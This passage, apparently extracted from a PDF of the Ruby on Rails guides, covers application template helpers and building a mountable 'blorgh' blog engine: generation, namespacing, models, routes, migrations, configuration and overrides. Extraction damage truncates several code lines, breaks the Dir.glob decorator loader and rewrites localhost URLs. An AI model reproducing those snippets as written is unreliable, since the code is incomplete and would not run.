git add: "."
git commit: "-m First commit!"
git add: "onefile.rb", rm: "badfile.cxx"

The values of the hash here being the arguments or options passed to the
specific git command. As per the final example shown here, multiple git
commands can be specified at a time, but the order of their running is not
guaranteed to be the same as the order that they were specified in.
9.8 vendor
Places a file into vendor which contains the specified code.
vendor "sekrit.rb", '#top secret stuff'

This method also takes a block:

vendor "seeds.rb" do
"puts 'in your app, seeding your database'"
end

9.9 lib
Places a file into lib which contains the specified code.
lib "special.rb", "p Rails.root"

This method also takes a block:

lib "super_special.rb" do
puts "Super special!"
end

9.10 rakefile
Creates a Rake file in the lib/tasks directory of the application.

rakefile "test.rake", "hello there"

This method also takes a block:

rakefile "test.rake" do
%Q{
task rock: :environment do
puts "Rockin'"
end
}
end

9.11 initializer
Creates an initializer in the config/initializers directory of the
application:
initializer "begin.rb", "puts 'this is the beginning'"

This method also takes a block, expected to return a string:

initializer "begin.rb" do
"puts 'this is the beginning'"
end

9.12 generate
Runs the specified generator where the first argument is the generator
name and the remaining arguments are passed directly to the generator.
generate "scaffold", "forums title:string description:text"

9.13 rake

Runs the specified Rake task.

rake "db:migrate"

Available options are:

:env - Specifies the environment in which to run this rake task.
:sudo - Whether or not to run this task using sudo. Defaults to false.

9.14 capify!
Runs the capify command from Capistrano at the root of the application
which generates Capistrano configuration.
capify!

9.15 route
Adds text to the config/routes.rb file:
route "resources :people"

9.16 readme
Output the contents of a file in the template's source_path, usually a
README.
readme "README"

Getting Started with Engines

Ruby on...

1 What are engines?

Engines can be considered miniature applications that provide
functionality to their host applications. A Rails application is actually just
a "supercharged" engine, with the Rails::Application class inheriting a
lot of its behavior from Rails::Engine.
Therefore, engines and applications can be thought of almost the same
thing, just with subtle differences, as you'll see throughout this guide.
Engines and applications also share a common structure.
Engines are also closely related to plugins. The two share a common lib
directory structure, and are both generated using the rails plugin new
generator. The difference is that an engine is considered a "full plugin" by
Rails (as indicated by the --full option that's passed to the generator
command). We'll actually be using the --mountable option here, which
includes all the features of --full, and then some. This guide will refer to
these "full plugins" simply as "engines" throughout. An engine can be a
plugin, and a plugin can be an engine.
The engine that will be created in this guide will be called "blorgh". This
engine will provide blogging functionality to its host applications,
allowing for new articles and comments to be created. At the beginning of
this guide, you will be working solely within the engine itself, but in later
sections you'll see how to hook it into an application.
Engines can also be isolated from their host applications. This means that
an application is able to have a path provided by a routing helper such as
articles_path and use an engine also that provides a path also called
articles_path, and the two would not clash. Along with this, controllers,
models and table names are also namespaced. You'll see how to do this
later in this guide.
It's important to keep in mind at all times that the application should

always take precedence over its engines. An application is the object that
has final say in what goes on in its environment. The engine should only
be enhancing it, rather than changing it drastically.
To see demonstrations of other engines, check out Devise, an engine that
provides authentication for its parent applications, or Forem, an engine that
provides forum functionality. There's also Spree which provides an ecommerce platform, and RefineryCMS, a CMS engine.
Finally, engines would not have been possible without the work of James
Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people.
If you ever meet them, don't forget to say thanks!

2 Generating an engine
To generate an engine, you will need to run the plugin generator and pass
it options as appropriate to the need. For the "blorgh" example, you will
need to create a "mountable" engine, running this command in a terminal:
$ rails plugin new blorgh --mountable

The full list of options for the plugin generator may be seen by typing:
$ rails plugin --help

The --mountable option tells the generator that you want to create a
"mountable" and namespace-isolated engine. This generator will provide
the same skeleton structure as would the --full option. The --full option
tells the generator that you want to create an engine, including a skeleton
structure that provides the following:
An app directory tree
A config/routes.rb file:
Rails.application.routes.draw do
end

A file at lib/blorgh/engine.rb, which is identical in function to a

standard Rails application's config/application.rb file:
module Blorgh
class Engine < ::Rails::Engine
end
end

The --mountable option will add to the --full option:

Asset manifest files (application.js and application.css)

A namespaced ApplicationController stub
A namespaced ApplicationHelper stub
A layout view template for the engine
Namespace isolation to config/routes.rb:
Blorgh::Engine.routes.draw do
end

Namespace isolation to lib/blorgh/engine.rb:

module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

Additionally, the --mountable option tells the generator to mount the

engine inside the dummy testing application located at test/dummy by
adding the following to the dummy application's routes file at
test/dummy/config/routes.rb:
mount Blorgh::Engine => "/blorgh"

2.1 Inside an Engine

2.1.1 Critical Files

At the root of this brand new engine's directory lives a blorgh.gemspec

file. When you include the engine into an application later on, you will do
so with this line in the Rails application's Gemfile:
gem 'blorgh', path: 'engines/blorgh'

Don't forget to run bundle install as usual. By specifying it as a gem

within the Gemfile, Bundler will load it as such, parsing this
blorgh.gemspec file and requiring a file within the lib directory called
lib/blorgh.rb. This file requires the blorgh/engine.rb file (located at
lib/blorgh/engine.rb) and defines a base module called Blorgh.
require "blorgh/engine"
module Blorgh
end

Some engines choose to use this file to put global configuration options for
their engine. It's a relatively good idea, so if you want to offer
configuration options, the file where your engine's module is defined is
perfect for that. Place the methods inside the module and you'll be good to
go.
Within lib/blorgh/engine.rb is the base class for the engine:
module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end

By inheriting from the Rails::Engine class, this gem notifies Rails that
there's an engine at the specified path, and will correctly mount the engine
inside the application, performing tasks such as adding the app directory of
the engine to the load path for models, mailers, controllers and views.
The isolate_namespace method here deserves special notice. This call is
responsible for isolating the controllers, models, routes and other things
into their own namespace, away from similar components inside the
application. Without this, there is a possibility that the engine's
components could "leak" into the application, causing unwanted

disruption, or that important engine components could be overridden by

similarly named things within the application. One of the examples of such
conflicts is helpers. Without calling isolate_namespace, the engine's
helpers would be included in an application's controllers.
It is highly recommended that the isolate_namespace line be left within
the Engine class definition. Without it, classes generated in an engine may
conflict with an application.
What this isolation of the namespace means is that a model generated by a
call to bin/rails g model, such as bin/rails g model article, won't
be called Article, but instead be namespaced and called
Blorgh::Article. In addition, the table for the model is namespaced,
becoming blorgh_articles, rather than simply articles. Similar to the
model namespacing, a controller called ArticlesController becomes
Blorgh::ArticlesController and the views for that controller will not be
at app/views/articles, but app/views/blorgh/articles instead.
Mailers are namespaced as well.
Finally, routes will also be isolated within the engine. This is one of the
most important parts about namespacing, and is discussed later in the
Routes section of this guide.
2.1.2 app Directory

Inside the app directory are the standard assets, controllers, helpers,
mailers, models and views directories that you should be familiar with
from an application. The helpers, mailers and models directories are
empty, so they aren't described in this section. We'll look more into models
in a future section, when we're writing the engine.
Within the app/assets directory, there are the images, javascripts and
stylesheets directories which, again, you should be familiar with due to
their similarity to an application. One difference here, however, is that

each directory contains a sub-directory with the engine name. Because this
engine is going to be namespaced, its assets should be too.
Within the app/controllers directory there is a blorgh directory that
contains a file called application_controller.rb. This file will provide
any common functionality for the controllers of the engine. The blorgh
directory is where the other controllers for the engine will go. By placing
them within this namespaced directory, you prevent them from possibly
clashing with identically-named controllers within other engines or even
within the application.
The ApplicationController class inside an engine is named just like a
Rails application in order to make it easier for you to convert your
applications into engines.
Because of the way that Ruby does constant lookup you may run into a
situation where your engine controller is inheriting from the main
application controller and not your engine's application controller. Ruby is
able to resolve the ApplicationController constant, and therefore the
autoloading mechanism is not triggered. See the section When Constants
Aren't Missed of the Autoloading and Reloading Constants guide for
further details. The best way to prevent this from happening is to use
require_dependency to ensure that the engine's application controller is
loaded. For example:
# app/controllers/blorgh/articles_controller.rb:
require_dependency "blorgh/application_controller"
module Blorgh
class ArticlesController < ApplicationController
...
end
end

Don't use require because it will break the automatic reloading of classes

in the development environment - using require_dependency ensures that

classes are loaded and unloaded in the correct manner.
Lastly, the app/views directory contains a layouts folder, which contains
a file at blorgh/application.html.erb. This file allows you to specify a
layout for the engine. If this engine is to be used as a stand-alone engine,
then you would add any customization to its layout in this file, rather than
the application's app/views/layouts/application.html.erb file.
If you don't want to force a layout on to users of the engine, then you can
delete this file and reference a different layout in the controllers of your
engine.
2.1.3 bin Directory

This directory contains one file, bin/rails, which enables you to use the
rails sub-commands and generators just like you would within an
application. This means that you will be able to generate new controllers
and models for this engine very easily by running commands like this:
$ bin/rails g model

Keep in mind, of course, that anything generated with these commands

inside of an engine that has isolate_namespace in the Engine class will
be namespaced.
2.1.4 test Directory

The test directory is where tests for the engine will go. To test the engine,
there is a cut-down version of a Rails application embedded within it at
test/dummy. This application will mount the engine in the
test/dummy/config/routes.rb file:
Rails.application.routes.draw do
mount Blorgh::Engine => "/blorgh"

end

This line mounts the engine at the path /blorgh, which will make it
accessible through the application only at that path.
Inside the test directory there is the test/integration directory, where
integration tests for the engine should be placed. Other directories can be
created in the test directory as well. For example, you may wish to create
a test/models directory for your model tests.

3 Providing engine functionality

The engine that this guide covers provides submitting articles and
commenting functionality and follows a similar thread to the Getting
Started Guide, with some new twists.
3.1 Generating an Article Resource
The first thing to generate for a blog engine is the Article model and
related controller. To quickly generate this, you can use the Rails scaffold
generator.
$ bin/rails generate scaffold article title:string text:text

This command will output this information:

invoke active_record
create db/migrate/[timestamp]_create_blorgh_articles.rb
create app/models/blorgh/article.rb
invoke test_unit
create test/models/blorgh/article_test.rb
create test/fixtures/blorgh/articles.yml
invoke resource_route
route resources :articles
invoke scaffold_controller
create app/controllers/blorgh/articles_controller.rb
invoke erb
create app/views/blorgh/articles
create app/views/blorgh/articles/index.html.erb
create app/views/blorgh/articles/edit.html.erb
create app/views/blorgh/articles/show.html.erb
create app/views/blorgh/articles/new.html.erb
create app/views/blorgh/articles/_form.html.erb
invoke test_unit
create test/controllers/blorgh/articles_controller_test.rb
invoke helper
create app/helpers/blorgh/articles_helper.rb
invoke assets

invoke js
create app/assets/javascripts/blorgh/articles.js
invoke css
create app/assets/stylesheets/blorgh/articles.css
invoke css
create app/assets/stylesheets/scaffold.css

The first thing that the scaffold generator does is invoke the
active_record generator, which generates a migration and a model for the
resource. Note here, however, that the migration is called
create_blorgh_articles rather than the usual create_articles. This is
due to the isolate_namespace method called in the Blorgh::Engine
class's definition. The model here is also namespaced, being placed at
app/models/blorgh/article.rb rather than app/models/article.rb due
to the isolate_namespace call within the Engine class.
Next, the test_unit generator is invoked for this model, generating a
model test at test/models/blorgh/article_test.rb (rather than
test/models/article_test.rb) and a fixture at
test/fixtures/blorgh/articles.yml (rather than
test/fixtures/articles.yml).
After that, a line for the resource is inserted into the config/routes.rb
file for the engine. This line is simply resources :articles, turning the
config/routes.rb file for the engine into this:
Blorgh::Engine.routes.draw do
resources :articles
end

Note here that the routes are drawn upon the Blorgh::Engine object rather
than the YourApp::Application class. This is so that the engine routes are
confined to the engine itself and can be mounted at a specific point as
shown in the test directory section. It also causes the engine's routes to be
isolated from those routes that are within the application. The Routes

section of this guide describes it in detail.

Next, the scaffold_controller generator is invoked, generating a
controller called Blorgh::ArticlesController (at
app/controllers/blorgh/articles_controller.rb) and its related
views at app/views/blorgh/articles. This generator also generates a test
for the controller
(test/controllers/blorgh/articles_controller_test.rb) and a
helper (app/helpers/blorgh/articles_helper.rb).
Everything this generator has created is neatly namespaced. The
controller's class is defined within the Blorgh module:
module Blorgh
class ArticlesController < ApplicationController
...
end
end

The ArticlesController class inherits from

Blorgh::ApplicationController, not the application's
ApplicationController.
The helper inside app/helpers/blorgh/articles_helper.rb is also
namespaced:
module Blorgh
module ArticlesHelper
...
end
end

This helps prevent conflicts with any other engine or application that may
have an article resource as well.

Finally, the assets for this resource are generated in two files:
app/assets/javascripts/blorgh/articles.js and
app/assets/stylesheets/blorgh/articles.css. You'll see how to use
these a little later.
You can see what the engine has so far by running bin/rails db:migrate
at the root of our engine to run the migration generated by the scaffold
generator, and then running rails server in test/dummy. When you open
http://localhost:3000/blorgh/articles you will see the default
scaffold that has been generated. Click around! You've just generated your
first engine's first functions.
If you'd rather play around in the console, rails console will also work
just like a Rails application. Remember: the Article model is
namespaced, so to reference it you must call it as Blorgh::Article.
>> Blorgh::Article.find(1)
=> #<Blorgh::Article id: 1 ...>

One final thing is that the articles resource for this engine should be the
root of the engine. Whenever someone goes to the root path where the
engine is mounted, they should be shown a list of articles. This can be
made to happen if this line is inserted into the config/routes.rb file
inside the engine:
root to: "articles#index"

Now people will only need to go to the root of the engine to see all the
articles, rather than visiting /articles. This means that instead of
http://localhost:3000/blorgh/articles, you only need to go to
http://localhost:3000/blorgh now.
3.2 Generating a Comments Resource

Now that the engine can create new articles, it only makes sense to add
commenting functionality as well. To do this, you'll need to generate a
comment model, a comment controller and then modify the articles
scaffold to display comments and allow people to create new ones.
From the application root, run the model generator. Tell it to generate a
Comment model, with the related table having two columns: an article_id
integer and text text column.
$ bin/rails generate model Comment article_id:integer text:text

This will output the following:

invoke active_record
create db/migrate/[timestamp]_create_blorgh_comments.rb
create app/models/blorgh/comment.rb
invoke test_unit
create test/models/blorgh/comment_test.rb
create test/fixtures/blorgh/comments.yml

This generator call will generate just the necessary model files it needs,
namespacing the files under a blorgh directory and creating a model class
called Blorgh::Comment. Now run the migration to create our
blorgh_comments table:
$ bin/rails db:migrate

To show the comments on an article, edit

app/views/blorgh/articles/show.html.erb and add this line before the

"Edit" link:
<h3>Comments</h3>
<%= render @article.comments %>

This line will require there to be a has_many association for comments

defined on the Blorgh::Article model, which there isn't right now. To
define one, open app/models/blorgh/article.rb and add this line into
the model:
has_many :comments

Turning the model into this:

module Blorgh
class Article < ApplicationRecord
has_many :comments
end
end

Because the has_many is defined inside a class that is inside the Blorgh
module, Rails will know that you want to use the Blorgh::Comment model
for these objects, so there's no need to specify that using the :class_name
option here.
Next, there needs to be a form so that comments can be created on an
article. To add this, put this line underneath the call to render
@article.comments in app/views/blorgh/articles/show.html.erb:
<%= render "blorgh/comments/form" %>

Next, the partial that this line will render needs to exist. Create a new
directory at app/views/blorgh/comments and in it a new file called
_form.html.erb which has this content to create the required partial:
<h3>New comment</h3>
<%= form_for [@article, @article.comments.build] do |f| %>
<p>
<%= f.label :text %><br>
<%= f.text_area :text %>

</p>
<%= f.submit %>
<% end %>

When this form is submitted, it is going to attempt to perform a POST

request to a route of /articles/:article_id/comments within the engine.
This route doesn't exist at the moment, but can be created by changing the
resources :articles line inside config/routes.rb into these lines:
resources :articles do
resources :comments
end

This creates a nested route for the comments, which is what the form
requires.
The route now exists, but the controller that this route goes to does not. To
create it, run this command from the application root:
$ bin/rails g controller comments

This will generate the following things:

create app/controllers/blorgh/comments_controller.rb
invoke erb
exist app/views/blorgh/comments
invoke test_unit
create test/controllers/blorgh/comments_controller_test.rb
invoke helper
create app/helpers/blorgh/comments_helper.rb
invoke assets
invoke js
create app/assets/javascripts/blorgh/comments.js
invoke css
create app/assets/stylesheets/blorgh/comments.css

The form will be making a POST request to

/articles/:article_id/comments, which will correspond with the
create action in Blorgh::CommentsController. This action needs to be
created, which can be done by putting the following lines inside the class
definition in app/controllers/blorgh/comments_controller.rb:
def create
@article = Article.find(params[:article_id])
@comment = @article.comments.create(comment_params)
flash[:notice] = "Comment has been created!"
redirect_to articles_path
end
private
def comment_params
params.require(:comment).permit(:text)
end

This is the final step required to get the new comment form working.
Displaying the comments, however, is not quite right yet. If you were to
create a comment right now, you would see this error:

Missing partial blorgh/comments/_comment with {:handlers=>[:erb,

:formats=>[:html], :locale=>[:en, :en]}. Searched in: *
"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
"/Users/ryan/Sites/side_projects/blorgh/app/views"

The engine is unable to find the partial required for rendering the
comments. Rails looks first in the application's (test/dummy) app/views
directory and then in the engine's app/views directory. When it can't find
it, it will throw this error. The engine knows to look for
blorgh/comments/_comment because the model object it is receiving is
from the Blorgh::Comment class.
This partial will be responsible for rendering just the comment text, for
now. Create a new file at

app/views/blorgh/comments/_comment.html.erb and put this line inside

it:
<%= comment_counter + 1 %>. <%= comment.text %>

The comment_counter local variable is given to us by the <%= render

@article.comments %> call, which will define it automatically and
increment the counter as it iterates through each comment. It's used in this
example to display a small number next to each comment when it's
created.
That completes the comment function of the blogging engine. Now it's
time to use it within an application.

4 Hooking Into an Application

Using an engine within an application is very easy. This section covers
how to mount the engine into an application and the initial setup required,
as well as linking the engine to a User class provided by the application to
provide ownership for articles and comments within the engine.
4.1 Mounting the Engine
First, the engine needs to be specified inside the application's Gemfile. If
there isn't an application handy to test this out in, generate one using the
rails new command outside of the engine directory like this:
$ rails new unicorn

Usually, specifying the engine inside the Gemfile would be done by

specifying it as a normal, everyday gem.
gem 'devise'

However, because you are developing the blorgh engine on your local
machine, you will need to specify the :path option in your Gemfile:
gem 'blorgh', path: 'engines/blorgh'

Then run bundle to install the gem.

As described earlier, by placing the gem in the Gemfile it will be loaded
when Rails is loaded. It will first require lib/blorgh.rb from the engine,
then lib/blorgh/engine.rb, which is the file that defines the major
pieces of functionality for the engine.
To make the engine's functionality accessible from within an application, it

needs to be mounted in that application's config/routes.rb file:

mount Blorgh::Engine, at: "/blog"

This line will mount the engine at /blog in the application. Making it
accessible at http://localhost:3000/blog when the application runs
with rails server.
Other engines, such as Devise, handle this a little differently by making
you specify custom helpers (such as devise_for) in the routes. These
helpers do exactly the same thing, mounting pieces of the engines's
functionality at a pre-defined path which may be customizable.
4.2 Engine setup
The engine contains migrations for the blorgh_articles and
blorgh_comments table which need to be created in the application's
database so that the engine's models can query them correctly. To copy
these migrations into the application run the following command from the
test/dummy directory of your Rails engine:
$ bin/rails blorgh:install:migrations

If you have multiple engines that need migrations copied over, use
railties:install:migrations instead:
$ bin/rails railties:install:migrations

This command, when run for the first time, will copy over all the
migrations from the engine. When run the next time, it will only copy over
migrations that haven't been copied over already. The first run for this
command will output something such as this:

Copied migration [timestamp_1]_create_blorgh_articles.blorgh.rb

Copied migration [timestamp_2]_create_blorgh_comments.blorgh.rb

The first timestamp ([timestamp_1]) will be the current time, and the
second timestamp ([timestamp_2]) will be the current time plus a second.
The reason for this is so that the migrations for the engine are run after any
existing migrations in the application.
To run these migrations within the context of the application, simply run
bin/rails db:migrate. When accessing the engine through
http://localhost:3000/blog, the articles will be empty. This is because
the table created inside the application is different from the one created
within the engine. Go ahead, play around with the newly mounted engine.
You'll find that it's the same as when it was only an engine.
If you would like to run migrations only from one engine, you can do it by
specifying SCOPE:
bin/rails db:migrate SCOPE=blorgh

This may be useful if you want to revert engine's migrations before

removing it. To revert all migrations from blorgh engine you can run code
such as:
bin/rails db:migrate SCOPE=blorgh VERSION=0

4.3 Using a Class Provided by the Application

4.3.1 Using a Model Provided by the Application

When an engine is created, it may want to use specific classes from an

application to provide links between the pieces of the engine and the
pieces of the application. In the case of the blorgh engine, making articles

and comments have authors would make a lot of sense.

A typical application might have a User class that would be used to
represent authors for an article or a comment. But there could be a case
where the application calls this class something different, such as Person.
For this reason, the engine should not hardcode associations specifically
for a User class.
To keep it simple in this case, the application will have a class called User
that represents the users of the application (we'll get into making this
configurable further on). It can be generated using this command inside the
application:
rails g model user name:string

The bin/rails db:migrate command needs to be run here to ensure that

our application has the users table for future use.
Also, to keep it simple, the articles form will have a new text field called
author_name, where users can elect to put their name. The engine will then
take this name and either create a new User object from it, or find one that
already has that name. The engine will then associate the article with the
found or created User object.
First, the author_name text field needs to be added to the
app/views/blorgh/articles/_form.html.erb partial inside the engine.
This can be added above the title field with this code:
<div class="field">
<%= f.label :author_name %><br>
<%= f.text_field :author_name %>
</div>

Next, we need to update our

Blorgh::ArticleController#article_params method to permit the new

form parameter:
def article_params
params.require(:article).permit(:title, :text, :author_name)
end

The Blorgh::Article model should then have some code to convert the
author_name field into an actual User object and associate it as that
article's author before the article is saved. It will also need to have an
attr_accessor set up for this field, so that the setter and getter methods
are defined for it.
To do all this, you'll need to add the attr_accessor for author_name, the
association for the author and the before_validation call into
app/models/blorgh/article.rb. The author association will be hardcoded to the User class for the time being.
attr_accessor :author_name
belongs_to :author, class_name: "User"
before_validation :set_author
private
def set_author
self.author = User.find_or_create_by(name: author_name)
end

By representing the author association's object with the User class, a link
is established between the engine and the application. There needs to be a
way of associating the records in the blorgh_articles table with the
records in the users table. Because the association is called author, there
should be an author_id column added to the blorgh_articles table.
To generate this new column, run this command within the engine:

$ bin/rails g migration add_author_id_to_blorgh_articles author_

Due to the migration's name and the column specification after it, Rails
will automatically know that you want to add a column to a specific table
and write that into the migration for you. You don't need to tell it any more
than this.
This migration will need to be run on the application. To do that, it must
first be copied using this command:
$ bin/rails blorgh:install:migrations

Notice that only one migration was copied over here. This is because the
first two migrations were copied over the first time this command was run.

NOTE Migration [timestamp]_create_blorgh_articles.blorgh.rb from

NOTE Migration [timestamp]_create_blorgh_comments.blorgh.rb from
Copied migration [timestamp]_add_author_id_to_blorgh_articles.bl

Run the migration using:

$ bin/rails db:migrate

Now with all the pieces in place, an action will take place that will
associate an author - represented by a record in the users table - with an
article, represented by the blorgh_articles table from the engine.
Finally, the author's name should be displayed on the article's page. Add
this code above the "Title" output inside
app/views/blorgh/articles/show.html.erb:
<p>
<b>Author:</b>
<%= @article.author.name %>

</p>
4.3.2 Using a Controller Provided by the Application

Because Rails controllers generally share code for things like

authentication and accessing session variables, they inherit from
ApplicationController by default. Rails engines, however are scoped to
run independently from the main application, so each engine gets a scoped
ApplicationController. This namespace prevents code collisions, but
often engine controllers need to access methods in the main application's
ApplicationController. An easy way to provide this access is to change
the engine's scoped ApplicationController to inherit from the main
application's ApplicationController. For our Blorgh engine this would
be done by changing
app/controllers/blorgh/application_controller.rb to look like:
module Blorgh
class ApplicationController < ::ApplicationController
end
end

By default, the engine's controllers inherit from

Blorgh::ApplicationController. So, after making this change they will
have access to the main application's ApplicationController, as though
they were part of the main application.
This change does require that the engine is run from a Rails application
that has an ApplicationController.
4.4 Configuring an Engine
This section covers how to make the User class configurable, followed by
general configuration tips for the engine.

4.4.1 Setting Configuration Settings in the Application

The next step is to make the class that represents a User in the application
customizable for the engine. This is because that class may not always be
User, as previously explained. To make this setting customizable, the
engine will have a configuration setting called author_class that will be
used to specify which class represents users inside the application.
To define this configuration setting, you should use a mattr_accessor
inside the Blorgh module for the engine. Add this line to lib/blorgh.rb
inside the engine:
mattr_accessor :author_class

This method works like its brothers, attr_accessor and cattr_accessor,

but provides a setter and getter method on the module with the specified
name. To use it, it must be referenced using Blorgh.author_class.
The next step is to switch the Blorgh::Article model over to this new
setting. Change the belongs_to association inside this model
(app/models/blorgh/article.rb) to this:
belongs_to :author, class_name: Blorgh.author_class

The set_author method in the Blorgh::Article model should also use

this class:

self.author = Blorgh.author_class.constantize.find_or_create_by(

To save having to call constantize on the author_class result all the

time, you could instead just override the author_class getter method
inside the Blorgh module in the lib/blorgh.rb file to always call
constantize on the saved value before returning the result:

def self.author_class
@@author_class.constantize
end

This would then turn the above code for set_author into this:

self.author = Blorgh.author_class.find_or_create_by(name: author

Resulting in something a little shorter, and more implicit in its behavior.

The author_class method should always return a Class object.
Since we changed the author_class method to return a Class instead of a
String, we must also modify our belongs_to definition in the
Blorgh::Article model:
belongs_to :author, class_name: Blorgh.author_class.to_s

To set this configuration setting within the application, an initializer

should be used. By using an initializer, the configuration will be set up
before the application starts and calls the engine's models, which may
depend on this configuration setting existing.
Create a new initializer at config/initializers/blorgh.rb inside the
application where the blorgh engine is installed and put this content in it:
Blorgh.author_class = "User"

It's very important here to use the String version of the class, rather than
the class itself. If you were to use the class, Rails would attempt to load
that class and then reference the related table. This could lead to problems
if the table wasn't already existing. Therefore, a String should be used and
then converted to a class using constantize in the engine later on.

Go ahead and try to create a new article. You will see that it works exactly
in the same way as before, except this time the engine is using the
configuration setting in config/initializers/blorgh.rb to learn what
the class is.
There are now no strict dependencies on what the class is, only what the
API for the class must be. The engine simply requires this class to define a
find_or_create_by method which returns an object of that class, to be
associated with an article when it's created. This object, of course, should
have some sort of identifier by which it can be referenced.
4.4.2 General Engine Configuration

Within an engine, there may come a time where you wish to use things
such as initializers, internationalization or other configuration options. The
great news is that these things are entirely possible, because a Rails engine
shares much the same functionality as a Rails application. In fact, a Rails
application's functionality is actually a superset of what is provided by
engines!
If you wish to use an initializer - code that should run before the engine is
loaded - the place for it is the config/initializers folder. This
directory's functionality is explained in the Initializers section of the
Configuring guide, and works precisely the same way as the
config/initializers directory inside an application. The same thing
goes if you want to use a standard initializer.
For locales, simply place the locale files in the config/locales directory,
just like you would in an application.

5 Testing an engine
When an engine is generated, there is a smaller dummy application created
inside it at test/dummy. This application is used as a mounting point for
the engine, to make testing the engine extremely simple. You may extend
this application by generating controllers, models or views from within the
directory, and then use those to test your engine.
The test directory should be treated like a typical Rails testing
environment, allowing for unit, functional and integration tests.
5.1 Functional Tests
A matter worth taking into consideration when writing functional tests is
that the tests are going to be running on an application - the test/dummy
application - rather than your engine. This is due to the setup of the testing
environment; an engine needs an application as a host for testing its main
functionality, especially controllers. This means that if you were to make a
typical GET to a controller in a controller's functional test like this:
module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers
def test_index
get foos_url
...
end
end
end

It may not function correctly. This is because the application doesn't know
how to route these requests to the engine unless you explicitly tell it how.
To do this, you must set the @routes instance variable to the engine's route
set in your setup code:

module Blorgh
class FooControllerTest < ActionDispatch::IntegrationTest
include Engine.routes.url_helpers
setup do
@routes = Engine.routes
end
def test_index
get foos_url
...
end
end
end

This tells the application that you still want to perform a GET request to the
index action of this controller, but you want to use the engine's route to get
there, rather than the application's one.
This also ensures that the engine's URL helpers will work as expected in
your tests.

6 Improving engine functionality

This section explains how to add and/or override engine MVC
functionality in the main Rails application.
6.1 Overriding Models and Controllers
Engine model and controller classes can be extended by open classing
them in the main Rails application (since model and controller classes are
just Ruby classes that inherit Rails specific functionality). Open classing
an Engine class redefines it for use in the main application. This is usually
implemented by using the decorator pattern.
For simple class modifications, use Class#class_eval. For complex class
modifications, consider using ActiveSupport::Concern.
6.1.1 A note on Decorators and Loading Code

Because these decorators are not referenced by your Rails application

itself, Rails' autoloading system will not kick in and load your decorators.
This means that you need to require them yourself.
Here is some sample code to do this:
# lib/blorgh/engine.rb
module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh

config.to_prepare do
Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb")
require_dependency(c)
end
end
end
end

This doesn't apply to just Decorators, but anything that you add in an
engine that isn't referenced by your main application.
6.1.2 Implementing Decorator Pattern Using Class#class_eval

Adding Article#time_since_created:
# MyApp/app/decorators/models/blorgh/article_decorator.rb
Blorgh::Article.class_eval do
def time_since_created
Time.current - created_at
end
end
# Blorgh/app/models/article.rb
class Article < ApplicationRecord
has_many :comments
end

Overriding Article#summary:
# MyApp/app/decorators/models/blorgh/article_decorator.rb
Blorgh::Article.class_eval do
def summary
"#{title} - #{truncate(text)}"
end
end
# Blorgh/app/models/article.rb
class Article < ApplicationRecord
has_many :comments
def summary
"#{title}"
end

end
6.1.3 Implementing Decorator Pattern Using ActiveSupport::Concern

Using Class#class_eval is great for simple adjustments, but for more

complex class modifications, you might want to consider using
ActiveSupport::Concern. ActiveSupport::Concern manages load order of
interlinked dependent modules and classes at run time allowing you to
significantly modularize your code.
Adding Article#time_since_created and Overriding
Article#summary:
# MyApp/app/models/blorgh/article.rb
class Blorgh::Article < ApplicationRecord
include Blorgh::Concerns::Models::Article
def time_since_created
Time.current - created_at
end
def summary
"#{title} - #{truncate(text)}"
end
end
# Blorgh/app/models/article.rb
class Article < ApplicationRecord
include Blorgh::Concerns::Models::Article
end
# Blorgh/lib/concerns/models/article.rb
module Blorgh::Concerns::Models::Article
extend ActiveSupport::Concern

# 'included do' causes the included code to be evaluated in th

# context where it is included (article.rb), rather than being
# executed in the module's context (blorgh/concerns/models/art
included do
attr_accessor :author_name
belongs_to :author, class_name: "User"
before_validation :set_author
private
def set_author
self.author = User.find_or_create_by(name: author_name)
end
end
def summary
"#{title}"
end
module ClassMethods
def some_class_method
'some class method string'
end
end
end

6.2 Overriding Views

When Rails looks for a view to render, it will first look in the app/views
directory of the application. If it cannot find the view there, it will check in
the app/views directories of all engines that have this directory.
When the application is asked to render the view for
Blorgh::ArticlesController's index action, it will first look for the path
app/views/blorgh/articles/index.html.erb within the application. If
it cannot find it, it will look inside the engine.
You can override this view in the application by simply creating a new file

at app/views/blorgh/articles/index.html.erb. Then you can

completely change what this view would normally output.
Try this now by creating a new file at
app/views/blorgh/articles/index.html.erb and put this content in it:
<h1>Articles</h1>
<%= link_to "New Article", new_article_path %>
<% @articles.each do |article| %>
<h2><%= article.title %></h2>
<small>By <%= article.author %></small>
<%= simple_format(article.text) %>
<hr>
<% end %>

6.3 Routes
Routes inside an engine are isolated from the application by default. This
is done by the isolate_namespace call inside the Engine class. This
essentially means that the application and its engines can have identically
named routes and they will not clash.
Routes inside an engine are drawn on the Engine class within
config/routes.rb, like this:
Blorgh::Engine.routes.draw do
resources :articles
end

By having isolated routes such as this, if you wish to link to an area of an

engine from within an application, you will need to use the engine's
routing proxy method. Calls to normal routing methods such as
articles_path may end up going to undesired locations if both the
application and the engine have such a helper defined.

For instance, the following example would go to the application's

articles_path if that template was rendered from the application, or the
engine's articles_path if it was rendered from the engine:
<%= link_to "Blog articles", articles_path %>

To make this route always use the engine's articles_path routing helper
method, we must call the method on the routing proxy method that shares
the same name as the engine.
<%= link_to "Blog articles", blorgh.articles_path %>

If you wish to reference the application inside the engine in a similar way,
use the main_app helper:
<%= link_to "Home", main_app.root_path %>

If you were to use this inside an engine, it would always go to the

application's root. If you were to leave off the main_app "routing proxy"
method call, it could potentially go to the engine's or application's root,
depending on where it was called from.
If a template rendered from within an engine attempts to use one of the
application's routing helper methods, it may result in an undefined method
call. If you encounter such an issue, ensure that you're not attempting to
call the application's routing methods without the main_app prefix from
within the engine.
6.4 Assets
Assets within an engine work in an identical way to a full application.
Because the engine class inherits from Rails::Engine, the application will
know to look up assets in the engine's 'app/assets' and 'lib/assets'

directories.
Like all of the other components of an engine, the assets should be
namespaced. This means that if you have an asset called style.css, it
